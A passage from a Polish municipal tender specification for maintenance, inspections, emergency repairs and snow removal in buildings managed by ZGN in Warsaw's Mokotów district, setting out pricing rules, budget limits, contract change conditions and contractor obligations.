elementów narażonych na niszczące wpływy atmosferyczne i niszczące działania czynników występujących podczas użytkowania, których uszkodzenia mogą powodować zagrożenie dla bezpieczeństwa osób, środowiska i konstrukcji budynku Szczegółowym sprawdzeniu należy objąć stan techniczny zewnętrznych warstw przegród zewnętrznych (warstwa fakturowa), elementów ścian zewnętrznych (attyki, filary, gzymsy), balustrad, loggii i balkonów, urządzeń zamocowanych do ścian i dachu, elementów odwodnienia budynku oraz obróbek blacharskich, pokryć dachowych, urządzeń stanowiących zabezpieczenie przeciwpożarowe budynku, elementów instalacji kanalizacyjnej odprowadzających ścieki z budynku, przejść przyłączy instalacyjnych przez ściany budynku oraz wszystkie pozostałe widoczne elementy budynku, a także estetykę budynku i jego otoczenia. W budynkach, w których w danym roku przeprowadzono przegląd 5-cio letni, nie wykonuje się przeglądów rocznych.2.2. całodobowe usuwanie awarii budowlanych i ich skutków wraz z robotami poawaryjnymi, zabezpieczanie doraźne obiektów miasta, gdy grożą awarią (z wyłączeniem instalacji) lub stwarzają zagrożenie życia i mienia,2.2.a Zamawiający wymaga aby Wykonawca przystąpił do usuwania awarii w ciągu 3-ch godzin od otrzymania telefonicznego zgłoszenia o zaistniałej awarii. Skrócenie ,,czasu przystąpienia do usunięcia zgłoszonej awarii" punktowane będzie zgodnie z zapisem pkt. 19 siwz.3. wykonywanie remontów, tj. wykonywanie robót naprawczych wynikających z przeprowadzonych kontroli oraz wykonywanie innych robót naprawczych zgłoszonych przez DOM zarówno w odniesieniu do budynków i lokali gminnych zarządzanych i administrowanych przez ZGN oraz lokali gminnych w budynkach Wspólnot Mieszkaniowych i budynków/lokali oświaty o ile roboty w nich zostaną zlecone przez Zamawiającego, jak i urządzeń terenowych związanych z budynkami, jak mury oporowe, schody, zjazdy do garaży podziemnych, opaski budynków, śmietniki, ogrodzenia, bramy itp. oraz elementów małej architektury i budowli związanych użytkowo z tymi budynkami oraz wykonywanie drobnych napraw dróg i chodników, montaż i demontaż znaków pionowych, słupków oraz malowanie znaków poziomych.4. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie nadmiernie nagromadzonego śniegu z dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń oraz w przypadku zagrożeń lub awarii w lokalach gminnych w budynkach Wspólnot Mieszkaniowych,5. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie zanieczyszczenia z przewodów dymowych, spalinowych i wentylacyjnych, zgłoszonych z DOM po podpisaniu umowy, 6. zgłaszanie do DOM zauważonych nieprawidłowości w zakresie stanu technicznego budynków miasta zarządzanych i administrowanych przez ZGN,7. roboty , o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2, 3.1.3. , 3.1.4., 3.1.5., SIWZ wykonywane będą na odrębne pisemne zlecenia wydawane przez DOM (stosownie do jego potrzeb) ze szczegółowym określeniem zakresu robót i ich ilości zgodnie z protokołem typowania i przedmiarem robót i ewentualnie ślepym kosztorysem oraz z określeniem terminu ich wykonania (rozpoczęcia i zakończenia).8. Prawidłowe wykonanie robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., 3.1.4., 3.1.5., każdorazowo potwierdzane będzie protokołem odbioru końcowego przez inspektora nadzoru DOM. Wynagrodzenie za realizację robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., SIWZ wypłacane będzie Wykonawcy na podstawie faktur wystawionych w oparciu o zweryfikowane przez inspektora -DOM - kosztorysy zamienne lub powykonawcze sporządzane zgodnie z przedmiarem, ślepym kosztorysem, o ile zostanie wcześniej dostarczony przez Zamawiającego lub w oparciu o protokoły typowania, obmiary robót oraz wg cen z kosztorysu ofertowego Wykonawcy stanowiącego zał. nr 1 do oferty, a w przypadku braku tych cen na podstawie czynników cenotwórczych podanych przez Wykonawcę w ofercie -kosztorys ofertowy. Ilość roboczogodzin, materiałów i czas pracy sprzętu wyliczane będą w oparciu o kosztorys sporządzony na podstawie kosztorysu ślepego jeżeli był on dostarczony przez Zamawiającego lub w oparciu o jednostkowe nakłady określone w Normach Zakładowych ZGN w Dzielnicy Mokotów stanowiące Rozdział VII siwz oraz w katalogach nakładów rzeczowych (KNR) wydanych przez Ministra Gospodarki Przestrzennej i Budownictwa, a w przypadku braku odpowiednich nakładów rzeczowych w w/w katalogach dopuszcza się stosowanie KNR wydanych przez WACETOB. Jeżeli również w tym wydawnictwie brak jest w/w nakładów wykonywanych prac dopuszcza się stosowanie wycen indywidualnych, uwzględniających także rzeczywisty czas, każdorazowo zaakceptowanych przez inspektorów Zamawiającego i zatwierdzonych przez kierownika DOM. 8.1. Ceny każdego z materiałów - bez kosztów zakupu - w przypadku gdy dany materiał nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur. Ceny materiałów na podstawie przedłożonych przez Wykonawcę faktur nie mogą być wyższe niż 120% minimalnej ceny i jednocześnie nie wyższe niż najniższe ze średnich cen dla każdego asortymentu podawanych jako ceny materiałów z notowań w publikacjach SEKOCENBUD, IMB, IMI, IME, obowiązujące dla kwartału, w którym będą zlecane roboty. W przypadkach gdy dany materiał nie występuje w w/w publikacjach lub występuje jako cena producencka, dopuszcza się cenę na dany materiał po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed zakupem i wbudowaniem niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz Kierownik DOM zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Wyklucza się przyjmowanie cen w oparciu o dane katalogowe producentów.8.2. Ceny pracy sprzętu - w przypadku gdy dany sprzęt nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym roboty były zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty.8.3. Roboty polegające na usuwaniu awarii, o których mowa w pkt. 3.1.2. (3.1.2.2.) SIWZ rozliczane będą w sposób opisany powyżej z tym, że nie będzie wystawione wyprzedzająco zlecenie z protokołem typowania robot, a niezwłocznie po powzięciu wiadomości przez DOM o usunięciu awarii tworzony będzie protokół konieczności potwierdzający wykonanie prac usuwających awarię i zabezpieczenie obiektu. Zamawiający ma prawo żądać do wglądu faktur za materiały i sprzęt użyty przy wykonywaniu przedmiotu zamówienia. 8.4. Roboty polegające na wykonaniu drobnych napraw remontowych i konserwacyjnych oraz usunięciu drobnych awarii, o których mowa w pkt. 3.1.2. , 3.1.3. SIWZ zawierających nie więcej niż cztery czynności ( za czynność należy rozumieć pozycje kosztorysowe) oraz wycenionych na kwotę nie wyższą niż 250 zł netto (np. wymiana zamka, zabezpieczenie okien i drzwi, asysta przy eksmisji itp.) rozliczane będą w sposób opisany powyżej z tym, że wykonawca będzie miał prawo doliczenia do nich kwoty dodatku (D) za drobne naprawy uwzględniającej wszelkie koszty organizacji robót m. innymi dojścia, zakupu materiałów, gotowości pracowników, której wartość poda w ofercie. UWAGA: Max. wartość dodatku za drobne naprawy (D) bez VAT nie może przekroczyć kwoty 100,00 zł. netto (bez VAT).9. Odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń, rozliczane będzie w sposób następujący:9.1.Odśnieżanie dachów i zdejmowanie sopli lodowych w zakresie pracy ludzi rozliczane będzie w oparciu o Normy Zakładowe ZGN stanowiące Rozdział VII SIWZ i będące jednocześnie załącznikiem nr 8 do umowy według stawek podanych przez Wykonawcę w formularzu oferty częściowej, a w zakresie dotyczącym sprzętu w oparciu o rzeczywisty czas pracy sprzętu każdorazowo potwierdzony przez inspektora nadzoru.9.2.Czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będzie w oparciu o rzeczywisty czas pracy ludzi i sprzętu, każdorazowo potwierdzony przez inspektora nadzoru, według stawek podanych przez Wykonawcę w formularzu oferty częściowej. 9.3.Ceny pracy sprzętu przy zdejmowaniu sopli lodowych i czyszczeniu rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców, lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym usługi będą zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Za odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń Wykonawca będzie wystawiał odrębne faktury.10. Ewentualne usuwanie zanieczyszczeń z przewodów dymowych, spalinowych i wentylacyjnych, na zlecenie z DOM, rozliczane będzie w oparciu o podaną w formularzu oferty częściowej stawką roboczogodziny zgodnie z uwzględnieniem rzeczywistego czasu pracy ludzi. Za prace wymienione w zdaniu poprzednim Wykonawca będzie wystawiał odrębne faktury.11. Przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy budynków zawiera Rozdział IV SIWZ, okresowych kontroli rozliczane będzie na podstawie cen zaoferowanych przez Wykonawcę w wykazie budynków gminnych zarządzanych i administrowanych przez ZGN, stanowiącego Rozdział IV A siwz i ilości skontrolowanych budynków.12. Zamawiający zastrzega, że:12.1. na wykonywanie czynności o których mowa w pkt. 3.1.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę kosztorysu ofertowego, sporządzonego na postawie przedmiaru robót stanowiącego Rozdział VI SIWZ,12.2. na wykonywanie czynności o których mowa w pkt. 3.1.2.; 3.1.2.2., 3.1.3. , 3.1.4. i 3.1.5. siwz przeznacza kwoty z podatkiem VAT nie większe niż:12.2.1. dla części I: DOM Służewiec - kwota 24.000,00 zł z VAT, 12.2.2. dla części II: DOM Wierzbno - kwota 26.204,82 zł z VAT12.3. na wykonywanie czynności o których mowa w pkt. 3.1.2.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę wykazu budynków wraz z cenami za kontrolę.13.Zamawiający nie przewiduje udzielania zaliczek na poczet wykonania zamówienia3.3. Wykazy budynków gminnych oraz budynków Wspólnot Mieszkaniowych z lokalami gminnymi i budynków/lokali oświaty w których realizowane będą zamówienia stanowią Rozdział IV SIWZ. Wykazy budynków, o których mowa wyżej mogą ulec zmianie w zakresie wskazanych adresów budynków poprzez jednostronną czynność Zamawiającego. 3.4. Szczegółowy zakres obowiązków Wykonawcy zawarty jest w § 1, 3, 4 i 5 Istotnych postanowień umowy, które stanowią Rozdział III SIWZ.3.5.1. Czynności, o których mowa w pkt. 3.1. niniejszej specyfikacji, mają być wykonywane zgodnie z: 3.5.1.1. Dokumentacją techniczną w formie ,,ramowego" przedmiaru robót, która stanowi Rozdział VI specyfikacji istotnych warunków zamówienia, specyfikacją techniczną wykonania i odbioru robót - stanowiącą Rozdział V SIWZ,.3.5.1.2.	warunkami wynikającymi z przepisów technicznych i czynnościami wymienionymi w art. 22 Ustawy z dnia 07.07.1994 r. Prawo budowlane (tekst jednolity Dz. U. z 2018 r. poz.1202, ze zmianami) i jej przepisów wykonawczych,3.5.1.3. wymaganiami wynikającymi z aktualnych Polskich lub Europejskich Norm i aprobat technicznych, 3.5.1.4. zasadami rzetelnej wiedzy technicznej i sztuki budowlanej, 3.5.1.5. warunkami wynikającymi z Istotnych postanowień umowy stanowiących Rozdział III specyfikacji istotnych warunków zamówienia.oraz3.5.1.6. w sposób zapewniający kulturalną obsługę najemcy.3.5.2. Materiały i produkty, które będą używane do realizacji zamówienia, powinny odpowiadać wymaganiom ujętym w art. 10 ustawy Prawo budowlane i w Ustawie o wyrobach budowlanych Dz. U. z 2019 r. poz.266) i posiadać certyfikat na znak bezpieczeństwa w odniesieniu do wyrobów podlegających tej certyfikacji. Dla pozostałych materiałów, z wyłączeniem wskazanych w rozporządzeniu MSWiA z dnia 24 lipca 1998 r. w sprawie określenia wykazu wyrobów nie mającego istotnego wpływu na spełnienie wymagań podstawowych oraz wyrobów wytwarzanych i stosowanych według uznanych zasad sztuki budowlanej (Dz. U. z 1998r., Nr 99, poz.637), posiadać deklarację zgodności z dokumentem odniesienia jakim jest Polska Norma, a w przypadku jej braku krajową aprobatą techniczną (AT) lub europejską aprobatą techniczną (ETA). Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikaty i deklaracje dopuszczające wyrób do obrotu i stosowania w budownictwie. Ponadto podczas wykonywania zamówienia Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikat na znak bezpieczeństwa, deklaracje zgodności lub certyfikat zgodności z Polską Normą lub z aktualną aprobatą techniczną. 3.6. Zmiany umowy:3.6.1. Zamawiający dopuszcza możliwość wprowadzenia zmian postanowień umowy, w stosunku do treści oferty, na podstawie, której dokonano wyboru Wykonawcy w razie:3.6.1.1.	dokonywania zmian przewidzianych w SIWZ w postaci jednoznacznych postanowień umownych, określających zakres zmian, w szczególności możliwość zmiany terminu wykonania, wynagrodzenia Wykonawcy i charakteru oraz warunków ich wprowadzenia i tak w przypadku:3.6.1.1.1.	zmiany regulacji prawnych wprowadzonych w życie po dacie zawarcia umowy i mających wpływ na treść umowy wraz ze skutkami takiej zmiany regulacji prawnych,3.6.1.1.2. powierzenia Podwykonawcy wykonania całości bądź części Przedmiotu zamówienia w zakresie i na warunkach wynikających z umowy między Wykonawcą a Podwykonawcą zaakceptowanej przez Zamawiającego lub zmiany Podwykonawcy w sytuacji, gdy z przyczyn, których nie można było przewidzieć w chwili zawarcia z nim umowy dotyczącej wykonywania Przedmiotu zamówienia, koniecznym będzie dla prawidłowego jego wykonania posłużenie się przez Wykonawcę nowym Podwykonawcą, który będzie realizował część lub cały zakres robót powierzony uprzednio innemu Podwykonawcy. Jeżeli zmiana albo rezygnacja z Podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ustawy, w celu wykazania spełniania warunków udziału w postępowaniu, o których mowa w art. 22 a ust. 4 ustawy, Wykonawca jest obowiązany wykazać Zamawiającemu, iż proponowany inny Podwykonawca lub Wykonawca samodzielnie spełnia je w stopniu nie mniejszym niż wymagany w trakcie postępowania o udzielenie zamówienia i nie podlega wykluczeniu z postępowania;3.6.1.1.3. zmiany zakresu części Przedmiotu zamówienia powierzonego Podwykonawcom wynikającej z aneksów do umów zawartych przez Wykonawcę z Podwykonawcami i zaakceptowanych przez Zamawiającego w przypadku wykonywania Przedmiotu zamówienia z udziałem Podwykonawców.3.6.1.1.4.	zmiany osób uczestniczących w realizacji przedmiotu zamówienia, przy czym warunkiem dokonania takiej zamiany jest posiadanie przez nowo wskazane osoby wymaganych uprawnień, kwalifikacji i doświadczenia zgodnego z warunkami określonymi w tym zakresie w SIWZ;3.6.1.2. zaistnienia konieczności wykonania przez Wykonawcę robót dodatkowych, nieobjętych zamówieniem podstawowym (przedmiotem zamówienia), o ile stały się niezbędne, a ponadto spełnione są łącznie następujące warunki:3.6.1.2.1.zmiana Wykonawcy nie może zostać dokonana z powodów ekonomicznych lub technicznych, w szczególności dotyczących zamienności lub interoperacyjności sprzętu, robót lub instalacji zamówionych w ramach zamówienia podstawowego (przedmiotu zamówienia);3.6.1.2.2. zmiana Wykonawcy spowodowałaby istotną niedogodność lub znaczne zwiększenie kosztów dla Zamawiającego;3.6.1.2.3. wartość każdej kolejnej zmiany umowy nie przekroczy 50% wartości umowy,3.6.1.3. gdy zmiana umowy spowodowana jest okolicznościami, których Zamawiający działając z należytą starannością nie mógł przewidzieć i jednocześnie ich wartość nie przekracza 50% wartości przedmiotu zamówienia. 3.6.1.4.	gdy Wykonawcę ma zastąpić inny podmiot:3.6.1.4.1. na podstawie postanowień umownych, o których mowa w pkt. 3.6.1.1. SIWZ, 3.6.1.4.2. w wyniku połączenia, podziału, przekształcenia, upadłości, restrukturyzacji lub nabycia dotychczasowego Wykonawcy lub jego przedsiębiorstwa, o ile nowy podmiot spełnia warunki udziału w postępowaniu, nie zachodzą wobec niego podstawy wykluczenia oraz nie pociąga to za sobą innych istotnych zmian umowy;3.6.1.4.3. w wyniku przejęcia przez Zamawiającego zobowiązań Wykonawcy względem jego podwykonawców, o ile Wykonawca wykonuje przedmiot zamówienia z udziałem podwykonawców3.6.1.5.	zmian - niezależnie od ich wartości, jeżeli nie są one istotne w rozumieniu art. 144 ust. 1e ustawy;3.6.1.6. łączna wartość zmian jest mniejsza niż kwoty określone w przepisach wydanych na podstawie art. 11 ust. 8 ustawy i jest mniejsza niż 10 % wartości przedmiotu zamówienia; 3.6.1.7.	zmiany wysokości wynagrodzenia w przypadku:3.6.1.7.1. zmiany stawki podatku od towarów i usług;3.6.1.7.2. zmiany wysokości minimalnego wynagrodzenia za pracę albo wysokości minimalnej stawki godzinowej, ustalonych na podstawie przepisów ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu o pracę (tj. Dz. U. z 2017 r. poz. 847);3.6.1.7.3. zmiany zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne, na zasadach i w sposób opisany w § 15 istotnych postanowień umowy -Rozdział III SIWZ3.6.2. Z wyjątkiem zamian określonych w § 1 ust. 3, 4 i 5 4 ust. 4, 10 i 11 oraz w § 8 ust. 5 istotnych postanowień umowy -Rozdział III SIWZ, wszelkie inne zmiany umowy zawartej w wyniku rozstrzygnięcia przedmiotowego postępowania wymagają sporządzenia aneksu do umowy w formie pisemnej pod rygorem nieważności.3.6.3. W przypadkach, o których mowa w pkt. 3.6.1.2., 3.6.1.3. oraz 3.6.1.4. ppkt. 3.6.1.4.2. SIWZ Zamawiający nie wprowadzi kolejnych zmian umowy w celu uniknięcia stosowania przepisów ustawy Prawo zamówień publicznych.3.6.4. W przypadkach, o których mowa w pkt. 3.6.1.1., 3.6.1.3. i 3.6.1.6. SIWZ zmiany postanowień umowy nie mogą prowadzić do zmiany charakteru umowy.3.6.5. Wynagrodzenie dla Wykonawcy za wykonanie robót mieszczących się w zakresie, o którym mowa w pkt. 3.6.1.2, 3.6.1.3. i 3.6.1.6. SIWZ obliczone będzie wg zasad przyjętych w niniejszej umowie i kwot zawartych w ofercie. 3.6.6. Zamawiający zastrzega sobie możliwość zmiany wykazu budynków stanowiących Rozdział IV siwz.3.6.7. Zamawiający zastrzega sobie możliwość zmiany lub uzupełnienia o nowe pozycje Norm Zakładowych Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów m. st. Warszawy, które stanowią Rozdział VII siwz.3.6.8. Na etapie realizacji umowy Zamawiający zastrzega sobie możliwość dokonania zmiany przedmiaru robót stanowiącego Rozdział VI SIWZ, w zakresie ilości robót i ich rodzajów wyszczególnionych w poszczególnych pozycjach, co skutkować będzie zmianą kosztorysu zamiennego/powykonawczego Wykonawcy , z zastrzeżeniem, że zmiana ta nie może prowadzić do zwiększenia zaoferowanej przez Wykonawcę w kosztorysie ofertowym ceny.3.7.	Wykonawca zobowiązany będzie do: 3.7.1. posiadania opłaconej polisy lub innego dokumentu ubezpieczenia na kwotę nie niższą niż równowartość 100.000 złotych polskich, potwierdzającego, że jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności gospodarczej, w tym w zakresie przedmiotu zamówienia; 3.7.2. wniesienia zabezpieczenia należytego wykonania umowy na zasadach określonych w pkt. 22 SIWZ; 3.7.3. udzielenia gwarancji na wykonane przez siebie roboty na czas minimum 36 miesięcy od daty odbioru. Warunki gwarancji zawierają Istotne postanowienia umowy stanowiące Rozdział III SIWZ - wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy stanowi kryterium oceny ofert i punktowane będzie w sposób opisany w pkt. 19 SIWZ; 3.7.4. przedłożenia Zamawiającemu do zatwierdzenia harmonogramu kontroli (przeglądów), o których mowa w pkt. 3.1.1. SIWZ, w ciągu 7 dni kalendarzowych po podpisaniu umowy;3.7.5. zgłaszania się w okresie obowiązywania umowy, zawartej w wyniku rozstrzygnięcia niniejszego postępowania, w dni robocze w godzinach 7-15 niezwłocznie po otrzymaniu telefonicznego wezwania lub po wcześniejszym kontakcie wykonawcy z Zamawiającym w celu pobierania zleceń;. 3.7.6. pełnienia całodobowo usług pogotowia i dyżuru pod numerem telefonu, na który będą mogły być całodobowo zgłaszane przestoje i usterki budowlane w trakcie realizacji umowy zawartej w wyniku rozstrzygnięcia niniejszego postępowania; Numer telefonu będzie podany na piśmie dla danego DOM przez Wykonawcę w dacie podpisania umowy. 3.7.7. podpisania umowy na wykonywanie robót mających na celu utrzymanie sprawności technicznej elementów budynków zgodnych w zakresie określonym w pkt od 3.1.1. do 3.1.10. SIWZ na warunkach określonych w złożonej i przyjętej ofercie w budynkach Wspólnot Mieszkaniowych (które wyrażą na to zgodę) wyszczególnionych w Rozdziale IV B SIWZ: 3.7.7.1. warunki gwarancji i wykonania zamówienia w budynkach Wspólnot Mieszkaniowych będą zgodne z warunkami określonymi w niniejszej specyfikacji oraz w istotnych postanowieniach umowy, stanowiących Rozdział III SIWZ, 3.7.7.2. Wykonawca zobowiązany będzie do wystawienia faktur za roboty wykonane w budynkach Wspólnot Mieszkaniowych, o których mowa w pkt. 3.7.7. SIWZ, podmiotom, na rzecz których roboty będzie wykonywał, 3.8. Zaoferowana przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - maksymalna stawka roboczogodziny kosztorysowej nie może przekroczyć średniej warszawskiej określonej w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. dla robót budowlanych: R netto = 21,93 zł. i R brutto = 38,26 zł. Stawka roboczogodziny kosztorysowej brutto obejmuje wartość stawki roboczogodziny kosztorysowej netto powiększonej o narzut kosztów pośrednich i zysk kalkulacyjny [Rbrutto = (Rnetto + Kp + Z)]. Wykonawca musi wpisać oferowane stawki roboczogodziny kosztorysowej Rnetto i Rbrutto, Kp i Z w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej. 3.9.	Zaoferowany przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - wskaźnik narzutu kosztów zakupu materiałów (Wkz) - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - nie może być wyższy niż średni warszawski określony w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. tj. dla robót budowlanych i wynoszący Wkz = 4,4 %. Wykonawca musi wpisać oferowane Wkz w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej.3.10.	Zaoferowana przez Wykonawcę cena (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy każdego z budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w przeliczeniu na 1m3 kubatury budynku za jeden przegląd nie może przekraczać 0,10 złotego (bez VAT), przy czym cena za jeden przegląd każdego pojedynczego budynku nie może być niższa niż 1 zł ( bez VAT). Wykonawca musi wpisać ceny w kol. 11 wykazów budynków gminnych, zarządzanych i administrowanych przez ZGN, stanowiących Rozdział IV A SIWZ, nie wyższe niż 0,10 zł/m3 (bez VAT) kubatury budynku za przegląd każdego budynku gminnego zarządzanych i administrowanych przez ZGN, przy czym cena za jeden przegląd każdego pojedynczego ww. budynku nie może być niższa niż 1zł ( bez VAT). Suma wszystkich cen wymienionych w kolumnie 11 pod nazwą ,,Cena za przegląd każdego budynku wyszczególnionego w kol. 2 wg terminów wyszczególnionych w kol. 12" musi być umieszczona we wzorze formularza oferty częściowej w pkt. 1 c jako ,,suma cen (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy, dla wszystkich budynków gminnych zarządzanych i administrowanych przez ZGN w 2020 r. w DOM (dla którego składana jest oferta częściowa). Ponadto w w/w pkt. 1 c należy wpisać kwotę podatku VAT oraz sumę cen (z VAT) za dokonywane co 12 miesięcy całoroczne przeglądy [P] budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w DOM, dla którego składana jest oferta częściowa. W 2019 r nie będzie przeglądów.3.11.	Dla realizacji przedmiotu zamówienia, na czas obowiązywania umowy, która zostanie zawarta w wyniku rozstrzygnięcia przedmiotowego postępowania, istnieje możliwość wynajęcia od zamawiającego pomieszczeń na zaplecze techniczne po stawkach strefowych na zasadach przyjętych przez m. st. Warszawę ZGN w Dzielnicy Mokotów. 3.11.1. Część 1: brak pomieszczeń.3.11.2. Część 2 : brak pomieszczeń.3.11.3. część 3 - brak pomieszczeń 3.11.4. Część 4 : dla DOM ,,Madalińskiego" : ul. Wiśniowej 35 wiata w podwórku o pow. 47,26 m2, wyposażone w energię elektryczną,3.11.5. Część 5 : dla DOM ,,Konduktorska": pomieszczenia wyposażone w instalację elektryczną przy ul. Konduktorskiej 12, - wiata blaszana nr 1 o pow. 24,89 m2, - wiata blaszana nr 2 o pow. 19,89 m2, - wiata blaszana nr 5 o pow. 11,04 m2, - wiata blaszana nr 6 o pow. 15,45 m2 - wiata blaszana nr 7 o pow. 15,40 m2,- pomieszczenie piwniczne wyposażone w energię elektryczna o pow. 11,70 m2. 3.11.6. Część 6 : dla DOM ,,Polkowska":- pomieszczenie gospodarcze w piwnicy budynku biurowego DOM, pow. 15,68 m2, wyposażone w co i elektryczność, - wiata na podwórku wyposażona w elektryczność o pow. 100,28 m2 , - garaż na podwórku wyposażony w elektryczność o powierzchni 30,00 m2,możliwość korzystania z w.c. ogólnego w budynku biurowym DOM. Stawki czynszu dla wszystkich w/w lokali będą naliczone - wg obowiązujących w ZGN Mokotów na dzień podpisania umowy. 3.12. Wykonawca musi mieć zatrudnione na podstawie umowy o pracę, w rozumieniu przepisów ustawy z dnia 26 czerwca 1974 r. -Kodeks pracy (Dz. U. z 2019 r., poz. 9171040 z późn. zm.). osoby wykonujące wszystkie czynności będące przedmiotem zamówienia dotyczące wykonywania wszystkich robót remontowych zapewniających stałe utrzymanie w ruchu budynków oraz robót mających na celu utrzymanie sprawności technicznej elementów budynków, wyszczególnione w opisie przedmiotu zamówienia w pkt. 3.1. SIWZ, z wyjątkiem przypadków prawem wyłączonych. Obowiązek zatrudnienia na podstawie w/w umowy o pracę nie dotyczy osób, które będą pełniły funkcję kierownika/kierowników robót objętych zamówieniem oraz będą wykonywały przeglądy roczne budynków, które mogą być zatrudnione przez Wykonawcę w ramach stosunków prawnych dopuszczonych przez prawo. Obowiązek, o którym mowa w zdaniu pierwszym, dotyczy również podwykonawców realizujących zamówienie, na zasoby których Wykonawca się powołuje oraz innych podmiotów uczestniczących w wykonaniu zamówienia, na zasoby których Wykonawca się powołuje.3.13. W odniesieniu do wykonywania robót budowlanych wymagających ustanowienia kierownika robót oraz do wykonywaniu przeglądów budowlanych rocznych objętych zamówieniem Wykonawca zobowiązany jest zapewnić do nadzorowania robót budowlanych i wykonania przeglądów osobę posiadającą uprawnienia budowlane wymagane ustawą prawo budowlane, - do kierowania robotami, a w przypadku przeglądów dodatkowo do kontrolowania i oceny stanu technicznego elementów konstrukcyjnych w specjalności konstrukcyjno-budowlanej w zakresie niezbędnym do realizacji przedmiotu zamówienia lub odpowiedni dokument stwierdzający przygotowanie zawodowe do wykonywania powyższych czynności oraz wpis na listę członków właściwej izby samorządu zawodowego. 3.14 . Zamawiający przewiduje możliwość udzielenia zamówień podobnych, o których mowa w art. 67 ust. 1 pkt. 6 ustawy w przypadku włączenia do robót wchodzących w zakres przedmiotu zamówienia budynków nowo oddanych do administrowania ZGN lub nie ujętych w zestawieniu stanowiącym załącznik Rozdział IVA, IVB, IVC SIWZ - Wykaz budynków, itp. oraz w przypadku powtórzenia podobnych robót, w budynkach o których mowa w zdaniu poprzednim oraz w przypadku konieczności wykonania zamówień podobnych we wszystkich budynkach objętych zamówieniem, w okresie 3 lat od udzielenia zamówienia podstawowego. Wartość w/w powtórzonych podobnych robót nie przekroczy 50 % wartości zamówienia podstawowego tj. kwoty 510.000,00 z VAT. Zamawiający dokonywać będzie podziału w/w kwoty pomiędzy działy obsługi mieszkańców (DOM) wg. potrzeb i posiadanych środków.Warunki udzielenia zamówień podobnych: Wykonawca będzie wykonywał zamówienie należycie i bez zbędnej zwłoki, w standardach nie gorszych niż w umowie podstawowej, na warunkach umowy podstawowej. Ceny będą podlegały negocjacji.4.Każda cena (stawka) z VAT podana w ofercie uwzględniać musi podatek VAT wg stawki obowiązującej w dacie składania oferty. <br/><b> 2) Wspólny Słownik 